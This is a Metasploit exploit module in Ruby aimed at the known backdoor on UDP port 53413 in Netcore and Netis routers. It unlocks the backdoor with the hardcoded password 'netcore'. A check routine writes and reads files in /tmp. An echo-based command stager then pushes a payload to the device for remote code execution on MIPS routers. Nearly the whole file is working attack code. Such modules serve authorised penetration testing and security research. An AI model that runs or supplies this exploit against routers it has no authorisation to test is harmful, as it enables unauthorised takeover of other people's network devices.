##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Netcore Router Udp 53413 Backdoor',
      'Description'     => %q{
        Routers manufactured by Netcore, a popular brand for networking
        equipment in China, have a wide-open backdoor that can be fairly
        easily exploited by attackers. These products are also sold under
        the Netis brand name outside of China. This backdoor allows
        cyber criminals to easily run arbitrary code on these routers,
        rendering it vulnerable as a security device.
        Some models include a non-standard echo command which doesn't
        honor -e, and are therefore not currently exploitable with
        Metasploit.  See URLs or module markdown for additional options.
      },
      'Author'          =>
        [
          'Nixawk',
          'h00die <mike@shorebreaksecurity.com>'
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ],
          [ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ],
          [ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py']
        ],
      'Privileged'      => true,
      'Targets'         =>
        [
          ['MIPS Little Endian',
           {
             'Platform' => 'linux',
             'Arch'     => ARCH_MIPSLE
           }
          ],
          ['MIPS Big Endian',
           {
             'Platform' => 'linux',
             'Arch'     => ARCH_MIPSBE
           }
          ]
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => '2014-08-25'))

    register_options(
      [
        OptInt.new('TIMEOUT', [true, 'The socket response timeout in milliseconds', 1000]),
        Opt::RPORT(53413)
      ])
  end

  def timeout
    (datastore['TIMEOUT'] || 1000) / 1000.0
  end

  def send_command(data)
    payload = "\x00" * 8
    payload << data
    udp_sock.put(payload)
  end

  def execute_command(cmd, _opts)
    send_command(cmd)
    vprint_status("Sending: #{cmd}")
  end

  def authenticate()
    # netcore is the password to unlock the backdoor
    send_command('netcore')
    resp = udp_sock.get(timeout)
    if resp.include?('Login succeeded!')
      vprint_good('Backdoor Unlocked')
    end
  end

  def check
    connect_udp
    authenticate
    resp = []
    tmp_file = Rex::Text.rand_text_alpha(5)
    # we need to test the echo command to see if it plays nice
    ["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command|
      send_command(command)
      resp << udp_sock.get(timeout)
    end
    disconnect_udp
    resp_str = resp.join(',')
    # check if we got a good response back
    if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file)
      # some routers have a non-standard echo which doesn't support -en, so we need to detect that
      if resp_str.include?('en ')
        print_status('Router backdoor triggered, but non-exploitable echo command detected.  Not currently exploitable with Metasploit.')
        Exploit::CheckCode::Detected
      else
        Exploit::CheckCode::Vulnerable
      end
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status('Exploiting...')
    connect_udp
    authenticate
    execute_cmdstager(:flavor => :echo, :linemax => 200)
    disconnect_udp
  end
end
